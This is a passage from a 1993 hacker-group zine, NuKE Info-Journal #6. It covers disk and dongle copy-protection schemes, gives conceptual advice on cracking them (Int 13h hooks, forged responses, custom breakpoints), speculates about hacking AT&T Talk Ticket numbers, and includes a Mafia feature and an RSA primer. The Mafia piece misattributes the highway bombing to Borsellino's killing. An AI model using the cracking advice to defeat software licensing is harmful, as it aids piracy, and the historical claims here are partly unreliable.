which in turn contains a program to read the entire DOS into memory. % Sector Format % The majority of floppy disks are `soft-sectored', meaning that the software must be able to locate any given track and sector with no help from the hardware. On a `hard-sectored' disks there is a physical marker, such as a small index hole, that tells the hardware precisely where each track and sector is physically located. On the soft-sectored disk the software searches for the desired sector by a trail-and-error process, reading the sector's address field until it finds the sector it wants. This certainly takes a little longer, but allows much more flexibility, since the sectors may be placed anywhere the DOS likes. Anyhow floppies are usually soft-sectored, but IBM 5.25 inch and 3.5 inch diskettes contain physical markers. Hard Disks usually tend to be soft-sectored, but that was only on the MFM, RLL Hard Drives the IDE, and SCSI drives are hard-sectored, that is why we have a _major_ access time. MFM,RLL range at 50-70ms (milliseconds) IDE,SCSI tend to range from 8-15ms. % Copy-protection Method #1 : Disk Appearance % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ % Unformatted Tracks % The simplest protection against disk copier utilities was to include a blank (unformatted) track or sector on the disk. The disk copy utility will fail at that track and copy nothing further. This was probably the first kind of whole- disk copy protection introduced. % Non-standard DOSes % Although the disk cannot be copied, it will still boot and run properly as long as the DOS does not attempt to access the unformatted track. This can be easily be prevented by using a modified version of the normal DOS. When a disk is booted, the DOS on the disk replaces any that may have been in RAM. It can have any modifications the author pleases. The only requirement is that the modifications to the DOS must correlate with the modifications to the disk format. Some of theses methods are listed bellow. a) Altered track/sector count The number of tracks per disk and sectors per track are usually chosen to provide maximum data storage per disk. There is no reason why lesser numbers cannot be used. For example we could create an IBM disk with only 7 sectors per track or 30 tracks per disk. And with a sightly more complex DOS modification the number of sectors could vary from track to track. b) Altered sector size A normal sector on an IBM PC disk always contains 512 bytes of user data as its payload. It is easy to alter the DOS to expect a different number of bytes per sector. In some cases, huge sectors have been used that fill an entire track. c) Altered track/sector numbering Each sector on a disk has an address field containing its track number and sector number. The DOS checks this before reading the track. Instead of numbering the sectors on a track from 0 to 9, one could number them from 70 to 79. The 40 tracks, likewise, could have bizarre numbering, say the first 40 prime numbers. d) Altered checksums Each sector contains a byte which is a checksum of the data contained in that sector. It is calculated by performing an eXclusive-OR (XOR) operation across all the bytes in the sector. The DOS recalculates the checksum each time it reads a sector, and compares its value to the one actually stored in the sector. If they differ, the DOS assumes that it read some byte(s) in the sector incorrectly. One can protect a disk by using a different algorithm for calculating the checksum to be stored in each sector. Of course the disk's own DOS uses the same algorithm, and so agrees with the stored checksums, but standard DOS thinks it has read each sector incorrectly, and will retry up to 5 times, and once all 5 test fail it will report the message "Bad CRC Data...." error message. e) Half-Tracks The newer half-height floppy drive were quite advanced, as a matter of fact they were capable of stepping to positions half-way between the normal track position. These half-track positions are not ordinarily suitable for recording data, because they are so close to the normal track that there would crosstalk. (Meaning signals would spill over from the normal tracks to the half-tracks and vice-versa. On the other hand, the half-tracks can be used it the normal tracks are left unused. For instance a disk could use track 0, 1.5, 2.5, 4, 5, etc. A normal copy program will miss all the half-tracks. % Nibble Copy Programs Fight Back % In response to the above protection techniques, computer hobbyists began to write and circulate special copy programs known as `Nibble Copiers'. These were passed gratis along the grapevine of hobbyists. The first commercially advertised bit copier was `Locksmith' by Omega Microware of Chicago at around 1984. The first version of Locksmith was slow but reliable, and was able to cope quite easily with all the copy-protection methods described above. Within a year other company programs appeared, like Copy-Write, Copy-II-PC and E.D.D., but Locksmith remained the most prominent until Omega Microware collapsed near 1985-86. A bit copier makes as few assumptions as possible about the format of the disk. It does not assume any particular number of sectors pet track or tracks per disk, or any particular number of sectors per tracks per disk, or any other possible sector alteration. This is something DOS was never able to do. Bit copiers read each track, and attempts to reproduce what it finds exactly on the destination disk, bit for bit. Error checking is performed by reading the track several times over and comparing the data. Completely unformatted tracks were identified and ignored. % Spiral Tracking % This is probably the ultimate in format alteration, and the last to be developed. This method was actually very clever. The way the data was structured on the diskette, actually `looked' like a spiralling pattern. The floppy drive heads would travel a small arc starting from the outer track, then jump to the next track (or half-track) and immediately travel another small arc, then jump to the next track, and so on. The resulting series of arcs resemble a broken spiral, hence the name. So instead of track 1 being the outmost ring, it would spiral towards the innermost track. This type of protection is quite difficult for a bit copier to overcome, since it depends on the accurately synchronized copying of partially formatted tracks. Unformatted areas of tracks contain magnetic signals of intermediate values, bits neither 0 nor 1. Therefore it was extremely difficult for the bit copier to identify all those portions of the track that can be copied correctly. One major serious problem with spiral tracking is that it depends on precise timing of events. It the disk drive is rotating a bit too fast or slow, or is slightly misaligned in other ways, the protected disk is likely to fail. % Slow Drives % Another protection technique used in combination with some of the above methods is to record the protected software using a disk drive turning SLOWER than normal. When data is recorded on a track passing slowly under the head, more data per inch than normal is recorded. This makes it possible to record more data on a track than would normally fit. Therefore if the user would try to copy the software with a regular drive, the destination disk will complete a full revolution before all the data is copied, and the tail of the track will overlap and destroy the head of the track on the destination disk. % Copy-protection Method #2 : Signatures % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ As we could see the protection wars, escalation proceeded rapidly. The methods described above were all `format alteration methods. They use a non-standard disk format that is not recognized by standard copy programs, but copy-able by the bit copiers. So a new method was introduced, a signature, which was any minor feature of a disk that serves as an identification mark to verify that the disk is an original. To be effective, a signature must be a feature that is not properly duplicated by a copy program, including bit copiers. % Innermost track % Probably the first signature protection method was the use of an extra track. A normal IBM disk uses 0 to 39. The disk drive is in fact capable of stepping the head to an extra innermost track, track 40. (and sometimes to track 41) The innermost track is normally unused because of reliability problems. A protected program may format this track and use the fact that it is formatted as a signature to verify that the disk is an original. It may even keep some portion of itself (eg the disk directory) on the innermost track. An ordinary copy program will overlook this track, and a bit copier will only copy it if specifically instructed to. % Check for write-protection % An ancient and crude signature method is to issue original disks with the write-protect notch covered. The program would try to write to the disk, if the write operation succeeds, the program can assume that the user made a duplicate disk and refuse to execute. % Bit Counting % It is _very_ difficult to get two disk drives to turn at precisely the same speed. Any characteristic of a disk that depends critically on the speed of the drive on which is was recorded will make a good signature. For example, when a disk is formatted, there is always some empty spaces remaining on each track between the end of the last sector and the beginning of the first sector. The formatting program fills this space with meaningless bits. The size of the space, and therefore the number of bits, and therefore the total number of bits on the track, depends on the rotational speed of the disk drive. If the bits are counted, and the count is recorded somewhere else in the disk, the software can compare the number of bits to the count every time the disk is booted. If a duplicate is made on a different drive, the duplicate disk will have a different number of bits on that track, and the count will fail. Even small variations in the speed of a single drive will cause different disks made on that drive to have different numbers of bits per track, so that each disk has a different signature. This is an _extremely_ difficult protection method for bit copiers to overcome. Some version of Locksmith included a utility to prompt the user to adjust the speed of the drive (by turning a vernier with a screwdriver) until it matched the apparent speed of the drive on which the original disk was recorded. However, E.D.D. (Essential Data Duplicator) used a variable timing loop to vary the rate at which the bits are recorded on the destination disk, to compensate for the speed of the destination disk drive. These methods required a great deal of trial-and-error to make satisfactory duplicate disks. % Deliberately Damaged Media % This method consisted of deliberately damaged media; a disk which is damaged in a predictable way that can be detected by the software. The damage serves as a signature. An example is the `Prolok' systems by Vault Corporation. Prolok is a special disk sold to software companies, to publish their programs on. The disk included software that may be adapted to work with any application program the software publisher records on the disk. The signature is a small hole, cut by laser, in the recording surface of the disk. The Prolok software can detect this hole because it is an area on which no data can be recorded, bad sector. Prolok is actually quick easy to defeat for a programmer. The technique was to insert a small TSR program hooked to int 13h, and it would review all requests by programs to the DOS. If Prolok asks the DOS to read the area of the disk where the hole is, the TSR captures the request and forges a reassuring response. There was also a pubic domain program specifically designed to defeat Prolok, called FUProlok. In general ALL these disk-based copy-protection had one major flaw, they all had some easy pattern that would enable us to defeat them easily. The pattern was the usage of Int 13h, the knowledgable `cracker' would construct a simple generic TSR that would hook Int 13h, that would create a break-point (Int 3h) whenever the interrupt was called. From there the knowledgable cracker could trace through the code, and see if the information obtained by the Int 13h was used in a peculiar method. Most programs are written in a high level language so the use of Int 13h is not common therefore get to the bottom of the Int 13h % Difficulties of Disk-based Copy-protection % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The major obstacle of disk-based copy-protection was a hard disk. Hard disk users were not content to run programs from the floppy disks, they almost insisted on transferring the software to the hard disk. One solution that was adopted was for the program to execute itself from the hard disk, but to also require the floppy to be left in its drive. The floppy was usually referred to as a `key disk', which was periodically checked to validate the signature. The major problem was that it didn't allow the user to have access to his floppy drive while using the hard disk. Another bad side effect was that it prevented users connected to a network, in executing more than one copy at the same time, as you only had one copy of the `key disk' to go around. And all of the `format' methods examples cannot be used on a hard disk. In general you cannot tamper with the structure of the hard disk, because it may contain several hundreds different applications. Also the interface system does not give the host computer direct control of details like the number and arrangement of sectors per track or count of bits on a track. ================================================================================ ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "The `Arms Race' on Physical Protection -N E- Devices : Round Two" Nu -N uK Nu By KE uK Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % Physical Copy-protection Devices % A physical protection device is usually a piece of equipment to a computer or used in conjunction with a computer to protect software or data. The majority of such devices are commonly referred to as `dongles', which are electronic devices attached to the computer. When a dongle protection is used, no attempt is made to prevent the user or owner of the package from creating additional copies of the software. The device is designed to prevent unauthorised use and not unauthorised copying. The origins of the word `dongles' is obscure, but it originated about 1978-79 and is believed to have been first used to protect the `Wordcraft' package on the Commodore Pet. % Dongles - A Simple Dongle Design % The first problem in designing a dongle is finding some method of attaching the device to the hardware. It must be a method which is available on the standard minimum configuration machine for which the software is intended to run. The _most_ obvious choice is the serial interface port of which nearly every machine has at least one, especially with the increase use of mice and modems which require serial connections. Assuming further that we do not wish to use this port during the running of the program, then a very simple dongle could be constructed using the standard cabling and reverse channel so that communications are usually made in both directions simultaneously. The wires would have the following functions: Sending Channel ~~~~~~~~~~~~~~~ Request to send (Output when the computer is ready to go) Clear to send (Received when the terminal is ready) Transmit data (Line for the computer to transmit the data) Receiving Channel ~~~~~~~~~~~~~~~~~ Data Terminal Ready (Output when the computer is ready to receive data) Data Set Ready (Received when the terminal is ready to transmit) Receive Data (Line for Computer to receive the data) Carrier Detect (Line for modem to signal the computer that (another modem signal has been found via telephone) Ring Detect (Line for modem to signal the computer that a) (ringing tone has been received) Assume that wires are used to connect the signals as shown below: Standard output Standard inputs ~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~ Transmit data..........Data Set Ready Request to send........Receive Data Data terminal ready....Ring Detect This is a bizarre combination, which is extremely unlikely to be used by design with any sort of equipment. To protect our dongle we further seal the plug casing with pitch or epoxy resin so that the details of the wiring cannot be seen without melting out or drilling away the resin. The representation of a `U' character in the standard ASCII code will appear as a square wave. This is because the character itself has the binary value 0101 0101, and, taken with the character beginning pulse (start bit) and the character ending (stop bit), this makes up a square wave signal 1 0101 0101 0 +6v-+ +-+ +-+ +-+ +-+ +-+ Now, Transmit a stream of `U's, since Transmit is | | | | | | | | | | | connected to Data Set Ready, this will go up and 0 | | | | | | | | | | | down, at intervals of one bit. By Sampling this | | | | | | | | | | | line the program can test that the correct pattern -6v +-+ +-+ +-+ +-+ +-+ +- is being transmitted and received. This means the dongle is in place. This is a perhaps a dongle suitable for the computer hobbyist, it rather is quite a poor attempt as a dongle. This is because of several reasons; it does not allow the use of the serial port because it is needed for the dongle, therefore a mouse or modem or printer connection via the serial port can not be done if you only have one serial port. % Advanced Pseudo Random bit Generator Dongles % Two new devices being marketed to software homes are Datakey (DES, 1988) and Software Key (Bristol, 1988). The overall concepts of both are similar, and they were in fact developed by the same inventor, although the two structures are quite separate and the details of the devices differ alot. The devices are `active' dongles. Meaning one end of the dongle plugs into the computer, and whatever is normally connected to the RS232 port is connected to the other end, and should be unaffected by this device. In the Datakey, which is a bit oriented device, toggling the Data Terminal Ready line causes a single bit of data to be presented at Data Set Ready or the Data Carrier Detect Line. By this means, a string of pseudo random binary data of any length can be read out of the device. Assembly language routines are included with the device for linking into the software to be protected. In the Software Key, special command codes are used to trigger the device, which responds with a byte of pseudo random data. Such sequences only repeat after an extremely large number of operation. % Software Sentinel % The Software Sentinel (Sentinel, 1988) plugs into the parallel printer port of an 80x86. The parallel channel was preferred to the serial channel since the parallel channel is always present on many systems, even with minimum configuration. However Sentinel also have a serial port version of this device called the Sentinel S. % Dongle Cracking % ~~~~~~~~~~~~~~~~~~~ Some exports are scornful of the protection afforded by dongles. Some even boast that 30 minutes would usually be sufficient to bypass any dongle protection in any program. As a matter of fact dongle cracking is actually straight forward, simply find the routine that accesses the dongle test. The difficulty of this job is really based on the software used to access the dongle. If the software accesses the parallel/serial port via interrupt functions, a simple TSR program can be stated to `fool' the program that a dongle is present, or simply trace through the code from that point on to see what actually happens, and what the program expects to get back. However I do not expect a program to use interrupts to access an I/O port for the sole reason of easily breaking in via the vector table. Chances are the software is accessing the I/O port directly with the built in processor instructions (OUT/IN). So it will be up to the user to disassemble the program to search for IN/OUT or INS/OUTS or INSB/OUTSB or INSW/INTSW instructions that will access the parallel/serial ports. Once you locate the routine that accesses the port, you may either reverse engineer or set a break-point and attempt your journey of debugging. Nevertheless, this does not nullify the credablity of dongle protection. As a matter of fact several new software are using dongles to protect their software. But the fact remains, no software is 100% secure. Dongles, require software to `test' that the dongle is attached, therefore the possibility of finding the `test' routine exists, and therefore modification is possible. % Lenslok % The Latest Physical Protection Device % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Lenslok device was also designed for the low cost software end of the market. The device consists of a plastic lens device rather like a pocket magnifying glass. It contains a series of prisms which cause anything viewed through it to be seen as a confused jumble of different dots. (pixels) Figure #1 Figure #2 1 2 3 4 5 A B C D E 旼컴쩡컴쩡컴쩡컴쩡컴� 旼컴쩡컴쩡컴쩡컴쩡컴� The letter `A' normally looks � � � X � � � � X � � � � � like the pattern in figure #1. 쳐컴탠컴탠컴탠컴탠컴� 쳐컴탠컴탠컴탠컴탠컴� Scrambled, it could look like � � X � � X � � � � X � � X � � the pattern shown in #2. All 쳐컴탠컴탠컴탠컴탠컴� 쳐컴탠컴탠컴탠컴탠컴� that was done was that column � X � � � � X � � � � X � � X � 1 & 3 were interchanged. So if 쳐컴탠컴탠컴탠컴탠컴� 쳐컴탠컴탠컴탠컴탠컴� we took column A & C and swapped � X � � � � X � � � � X � � X � them, we would get the 쳐컴탠컴탠컴탠컴탠컴� 쳐컴탠컴탠컴탠컴탠컴� charactor `A' once again. � X � X � X � X � X � � X � X � X � X � X � Then the Lenslok would consist 쳐컴탠컴탠컴탠컴탠컴� 쳐컴탠컴탠컴탠컴탠컴� of a simple optical system, � X � � � � X � � � � X � � X � which consists of two shallow 쳐컴탠컴탠컴탠컴탠컴� 쳐컴탠컴탠컴탠컴탠컴� angled grooves cut into the � X � � � � X � � � � X � � X � plastic which change over the 읕컴좔컴좔컴좔컴좔컴� 읕컴좔컴좔컴좔컴좔컴� columns. So, the user would apply the `lens' to the screen, over the jumbled pattern of dots and presses a key until the pattern appears through the prism. Therefore, in a Lenslok protected system, you may have a word, scrambled, which the system may ask you to respond to, whereby you would take the lens, and pass it ontop of the charactor and voila. % Cracking all together now... % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lenslok, is a great physical copy-protection, it is low-costing, it can be used inconjuction with the current `Document Protection' currently widely used in several low-cost software, expecially in home entertainment computer games. Document protection, is whereby the program, mainly in the beginning, will stop for a moment and ask you a question, whereby the answer is only to be found in the documents supplied with the original package. Nevertheless, document protection, is fairly weak, as documents can be easily photocopied. It can also be scanned as a computer image, and can be easily distributed, through computer modems, into the computer BBS scene. So to an extent Lenslok can help document protection, as a lens is not easily copied by your average computer hobbyist. So even though a copy of the documention is made, how are we to know what exactly it (the software), is asking us for? All together now, _ALL_ protection schemes developed now, can be broken, may it be, Lenslok, dongles, disk-based protection schemes. This is due to the reason that all protection schemes have to use some sort of software that will `test', and decide if this is an authorised copy or not. The fact of the matter is, that their is a terrible weak spot. Software protectors have developed _amazing_ protection schemes, the `front' of the protection is almost unbreakable. Emagine a castle in medival times, with a moat around the castle, the moat contains deadly man-eating animals, the front of the castle also have men waiting with boiling oil to throw over you, there is also several men with bows and arrows awaiting to kill you. Now, how effective is this, if somebody leaves the back gate unlocked? Sure, it may be nearly impossible to get through by the front, but the back gate is unguarded. The same applies for copy- protection, whereby the fact of the matter is, that nobody has done anything about low-level entry! Anyone capable of 80x86 structure assemble language, can by-pass a copy-protection. The only problem is finding the routine, this is a challenge within itself, it is rarely a just a CMP command. For some reason NPC members think that CMP is all there is to look for! Aren't they acomplished crackers? Cracking involves alot of time, extreme knowledge on the 80x86, and a few tricks of the trade. If a document check awaits you to type an answer, you will need to set a break-point at that exact location. Ctrl-Break, will _rarely_ work, so you will have to make tools of your own, that will allow you to exit at the desired location. Protected software usually overwrite the Int 3h, and Int 1h, to avoid break-points, you will have to devise your own Break-point type program, perhaps one hooked to Int 9h, and at ALT-A it will execute a Int 3h, and at the same time you will enter your debugger entry point back to Int 3h. I would hook my TSR to Int 5h and on Print-Scrn it would load the debugger. Many times, you would have to put a special routine on Int 8h or 1Ch to make sure that your entry point is not erased at the vector table, there's an unlimited number of possible combinations, I certainly cannot name you them all. But what I can do, is give you the theory concept of the protection scheme, and you can devise your own pleasable method. Many, people enjoy reverse engneering jobs, some (like myself) take note of all systems I/Os and Interrupts being called, and work my break-point from there. But this two-part article was to give you an understanding on how some copy- protection schemes work. The _only_ way one can attempt to defeat the protection is to understand how the protection works. Then your attempts to bypass it will be much more effective, rather than taking a non-effective guess. Be direct, go directly to the source of the conflict, don't waste your time on anything else. So I do hope this has been a learning experience for at least some. If demand is there, in the following news journal we may focus on effective cracking techniques, and some tricks and tips to avoid falling into a ditch. Rock Steady/NuKE ============================================================================================================================================================== Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "AT&T Talk Tickets" -N E- Nu -N uK Nu By KE uK Nowhere Man E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu Introduction ~~~~~~~~~~~~ As many people know, many countries throughout the world have begun installing a new pay phone system which takes "phone cards" in addition to or instead of coins. These phone cards are unlike U.S. calling cards, rather they are more like credit cards: they have a magnetic strip which holds the value of the card. You buy a card in a certain denomination (say $10) and then you can place that amount of calls with the card. The U.S., however, is unwilling and unable to impliment such a program. (Remember, this is the country which brings you the English System of measurement!) Not only would it cost too much, so they say, but there is also a problem not found in most other countries -- competiton. Pay phones may be owned by anyone, from the local phone company to the foreigner who owns the local Duncan Doughnuts; to get everyone to agree to a standard and to replace existing phones with card-ready phones would be unfeasable. So now AT&T and U.S. Fibercom are introducing an alternative: "Talk Tickets." What are Talk Tickets? ~~~~~~~~~~~~~~~~~~~~~~ Talk Tickets are not magnetic-striped cards or calling cards, they're a strange cross between both. You'll be able to purchace a Talk Ticket in certain demomination, each carrying a certain number of $0.60 "units." Cards will be available in 5, 10, and 50 unit ($3, $6, and $30) denominations. The card itself is a small cardboard ticket bearing a unique eleven-digit serial number (and some rate/call information). You call an 800 number and a voice prompts you for your ticket number. Once you've entered a valid number, the voice will tell you how much money is left on the ticket (you don't have to use the full value of the ticket on one call, leftover time is kept track of). Then you place your call, just as if you were dialing from a normal line, with a few exceptions: there are special "star" services you can dial, recordings costing one unit each (like 976 numbers), and international calls do not require the usual "011" prefix. The call is then handled normally, however if your ticket runs out of credit during the call you are abruptly disconnected. Costs ~~~~~ As mentioned before, calls are billed in $0.60 units. The chart below gives the cost, in units per minute, for calling various locations. Area Units/Minute ~~~~ ~~~~~~~~~~~~ *1 (Sports News) 1 *2 (World News) 1 *3 (U.S. Weather) 1 Asia (incl. Australia and NZ) 5 Africa 5 Canada 3 Europe (except former U.S.S.R.) 4 Russia/Former U.S.S.R. 5 South America 4 United States (incl. AK and HI) 1 These rates are much higher than standard calling card or direct-dial rates -- a call to Europe is $2.40/minute, Canada is $1.80/minute, and Asia is a whopping $3.00/minute. This is cheaper than a coin call from a pay phone, but other than that it's extremely expensive. Where do I get Talk Tickets? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Right now Talk Tickets are available on a limited trial basis via McDonald's. That's right, McDonald's. Three-unit Talk Tickets will be given away free in Super-Value Meals until June; the catch is that it's a limited trial offer, avaliable only in the following areas: New York City, Buffalo/Syracuse, Baltimore, Pennsylvania, and Wisconsin. You can also get them via Patrick Townson, moderator of the Telecom Digest on Internet (ptownson@eecs.nwu.edu), for $2 per four units (or $1.50/card in groups of ten or more). In addition, Talk Tickets should soon be on sale at AT&T phone centers near you... Important Numbers ~~~~~~~~~~~~~~~~~ The 800 Talk Ticket access number is 800-331-0888. For more information about the Talk Ticket program, call 800-462-1818 (outside the U.S. call 408-428-2734 collect). The operator will be happy to answer your questions about the Talk Ticket program. Hacking Talk Tickets ~~~~~~~~~~~~~~~~~~~~ I'm sure the first thing you though of when you read about Talk Tickets is "how can I abuse them." Well, there's really no reason to. First off, the serial number is eleven digits -- however it's created algorythmically, meaning it *can* be hacked. However, even if you do manage to generate your own Talk Ticket numbers, its not of much value if you're calling outside the U.S. You can get almost an hour within the country on a 50 unit ticket, but that same ticket would only get you about 12 minutes to Europe or 10 minutes to Asia. You're better off not wasting your time, calling cards are much better. Conclusion ~~~~~~~~~~ SAVE YOUR MONEY. There is little reason to use the Talk Ticket program. Calling card calls are much cheaper -- heck, even hotel surcharges are usually less costly! In addition the potential for abuse is limited; the most you can fraud would be 10 minutes to Australia, big deal. The one key advantage, though, that the tickets offer is anonymity. You are just a number, and unlike with a calling cards, you pay cash up front, and are not billed directly, so your privacy is mantained. So, unless you need the protection (and are willing to pay through the nose for it!) AT&T Talk Tickets are a waste of time and money. Nowhere Man/NuKE =============================================================================== ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Mafia, Incorporated." -N E- Italy's underworld extends its reach Nu -N uK Nu By KE uK The Godfather E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu Like any business bursting at the seams of its own success, the Mafia and its allies know no borders. Born of a transatlantic axis, the Mafia has forged alliances wherever it has needed to, sponsoring indigenous crime syndicates or helping rivals to wipe each other out. The manipulation of the Turkish heroin "Babas" or the drug barons of Colombia has become a model of how to operate an empire to the conquering power's advantage. Internationally, the Mafia is stronger than ever before, recent attempts of the crackdown show it to be expanding with speed, in Russia and other post-communist countries, buying up chunks of the economy, laundering money, dealing with local gangsters, and preparing to create and cultivate an eager market for hard drugs. The Mafia runs the world's drug-dealing business, and its wealth is inestimable. The giddy profits from South America, the US, and the Far East are laundered, recycled, and hidden by the best wizards in the money business across an impenetrable labyrinth of `legal' commercial activities. "They would do well to go to Havard Business School." says Leoluca Orlando, the ousted anti-Mafia mayor of Palermo, Sicily. This statement is probably true, however it may be hard to put to the test! Because to `protect' the empire, the Mafia must kill. And however wide its intercontinental span, it kills mainly on its own ground and at its nerve centre, where it has, until now, enjoyed relative impunity: in Italy. A bombing last year this time (May 1992) killed Judge Giovanni Falcone, one of the few men _ever_ to momentarily check the squalid advance of the Mafia. Mr. Falcone, was quoted as "The worlds _most_ wanted man!", wanted that is by the Mafia. Mr. Falcone did contain assortments of documentation and knowledge, on the Mafia structures, therefore possing a great threat to the Mafia, and killed by the Mafia. After the killing of Mr. Falcone, who was one of the world's _most_ protect man. Who, was to challenge the Mafia and continue Mr. Falcone's work? Two months later, a `fake' construction crew pretending to repair a segment, of the highway, placed a bomb under that segment of the `repaired' road. The bomb was set off just as Paolo Borsellino, passed underneath it in his limo. Paolo Borsellino had _secretly_ taken over from Falcone as head of the Anti-Mafia group in Palermo. How did the Mafia find out so quickly? The Mafia contains extremely loyal men, in almost all levels of the government, and someone tipped the Mafia that Mr. Borsellino was heading a new Anti-Mafia government agency in Rome. With this simple message of triumphant monkery, the Mafia confirmed that it will wage its latest, and potentially its bloodiest, battle against Italian society with a sick blend of fury and cool, diabolical arrogance. This time the Mafia's violence is not between clans, nor is it the _usual_ picking off of inconvenient politicians and judges at intervals of years. This time the offensive opposition and terrorizing a rebelling populace back into submission. Following Borsellino's assassination, the Italian authorities sent in troops for the first time against the Cosa Nostra. Nobody _ever_ dared to go against the Cosa Nostra! The Cosa Nostra has grown from what was believed to be a band of gangster operating out of the chaos of postwar Sicily, to become, in 47 years, an unchallenged and unchallengeable global crime syndicate. The officials and troops are shadowboxing, and judges have resigned, saying that their work is pointless, their lives are undefended, and their investigations are blocked from on high. The killers of Falcone and Borsellino want to show that they can kill with impunity and that they are protected from within the system. Almost _every_ time the judiciary peels away the covers of Italian high finance, construction, tourist development, local politics, or public-sector spending excesses, it finds the Mafia. Every illegal arms deal and, of course, every drug haul leads directly to the Mafia. There seems to be no obvious explanation for its success other than ruthless cruelty, unfettered greed, friends in high places, and the perpetuation of the picturesque and bogus mythology in which the Mafia's squalid operation is gift-wrapped for hollywood and young inmates alike. The `super-boss' of this awesome empire, on the run since 1969 and the world's most wanted man is Salvatore `Don Toto' Riina, head of the clan from Corleone, the town that gave its name to Francis Ford Coppola's glitzy `Godfather' clan. Riina was the right-hand man to Luciano Liggio, who was arrested on a night in 1973 while reading Kant's `Critique of Pure Reason' and has been imprisoned ever since. Liggio had built up the Corleone clan, the main victors of the Mafia was of 1981-83 that left defeated clans obliged to work as clients, subject to Corleone approval. Riina and his partner, Bernardo Provezano, known as `The Beasts' carried out Liggio's orders. Riina is wanted for ordering some 150 murders and is said to have committed 40 himself. They were the founders of the empire. Perhaps most extraordinary, Riina is the man whom authorities believe finally subjugated the New York wing of the Mafia not only to Sicily but to his clan. Authorities also confirm that the Corleone clan manages the affairs of the Sicilian's long-standing colony in South America, notably in Venezuela. The Cuntrera and Caruana families from Agrigento, are now prime managers of South America's current cocaine surplus. The most resent meet ever to be recorded by the authorities took place on Valentine's Day 1989, there was a meeting at the Elysee hotel in Nice of members of a consortium comprising the Sicilian Mafia, the giant Mafia, the octopus, along with two divans of the Italian crime empire: the Calabrian and the Camorra of Naples. Representatives of the Colombian and Venezuelan cartels were also present. The outcome of this meeting was an alliance and a carving up of the trade bringing heroin from East and cocaine from the South America. By and large, the Sicilians kept the heroin routes and a footheld in the white-power trade, the Calabrians won a lucrative client role in heroin, and the Camorra emerged as the specialists in cocaine. The Camorra's international interests span South America and Spanish and French Rivieras. It has drug peddling bases in Holland and Germany. For the first time, the Mafia faces a new enemy: its own subjects. The rebellion appeared in the last few years, when Leoluca Orlando, mayor of Palermo, promised to confront the Cosa Nostra. He _did_ expelled the Mafia from city hall. The revolt went on, Libero Grassi, a businessman in Capo D' Orlando, refused to pay his small protection fee; he was shot as a lesson to others. The two judges killed (Falcone & Borsellino) provoked a street rebellion(s), general strikes, and the biggest demonstration in Italy's history. The fear of violence has lead to the European Community (EC) to find back! Europol, the European Police, until recently had been nothing more than a harmless paper thing. But this was to change starting January 1st, 1993. Today, Riina is located at Rebibbia prison in Rome, where interrogation has already begun. So far, Riina has refused to cooperate with his captors, who nevertheless say that he is behaving `with the politeness of a Sicilian that does not exit any more. Riina was arrested in Palermo, Sicily in February, 1993. During the period of surveillance, Riina met with politicians of the highest level, which began soon after the assassination of judge Giovanni Falcone. Organized crime has long operated internationally, with no boundaries, perhaps Europol was exactly what is needed, a police force with no boundaries? And was Europol the result of Riina being captured. Many would disagree. Nevertheless the Mafia continues, with or without Riina. 1993 will be a dreadful year for the Mafia, it is yet to end. One of the `Big' players is gone, Riina, what happens now? "L'appetito viene mangiando" Translation: Eating makes you hungry. The Mafia, already fed to bursting, remains very hungry indeed. ================================================================================ ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Rivest, Shamir, Adleman, (RSA) Encryption" -N E- Nu -N uK Nu By KE uK Rock Steady E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu Ahh, the last NuKE Informational Journal #5, concerning DES Encryption brought about a fair amount of generous reviews. It has even inspired me to continue this topic of `Digital Security' hence forth I introduce to you RSA. Rivest, Shamir, Adlemen (RSA) are the three mathematicians whom have patented the idea of `Public-Key' encryption, which by far isn't `just another' encryption method. Public-Key crypto-systems are often referred to as `asymmetric' crypto-systems. The now famous DES is of a form of `symmetric' crypto-systems. Symmetric, consists the use of a single key for decrypting and encrypting. Asymmetric on the other hand, consists of two keys; a public key used to encrypt, and a private key used to decrypt the cipher. (Cipher, is data that is encrypted) RSA algorithm work on the idea that prime numbers cannot be broken into a product of smaller factors. The algorithms work like so; first pick a number N that is the product of two prime numbers (call the two primes a and b so that N = a x b). Next, pick a number that will become your public key, and call it P; P _must_ be less than N. Now to encrypt a message M, you simple apply the following formula: C=M^P(mod N) % What the hells `mod'? % Public-key crypto-systems depend heavily on a number theory known as modular arithmetic or finite math. "Mod" can be said to be a remainder of a number. 13 mod 5 = 3, since that's the remainder when 13 is divided by 5. But the theory of Modular Math contains a pattern, a range, depending on the modular numbers. The modular of 50, are numbers from 0, 1, 2, ..., 49; the smallest being 0, and the largest is the modulus number minus 1. A less formal and probably easier-to-visualise is called the `clock arithmetic' If you restrict yourself to performing math by moving the hour hand clockwise (addition) or counterclockwise (subtraction) around the face of a clock, you'll soon see obvious patterns. Mostly, no matter how complex the math is, your answer will _always_ be some number in the range of 1 to 12, which are the number of hours on a standard clock. This actually is the basis of `finite' mathematics, whereby you are always working with 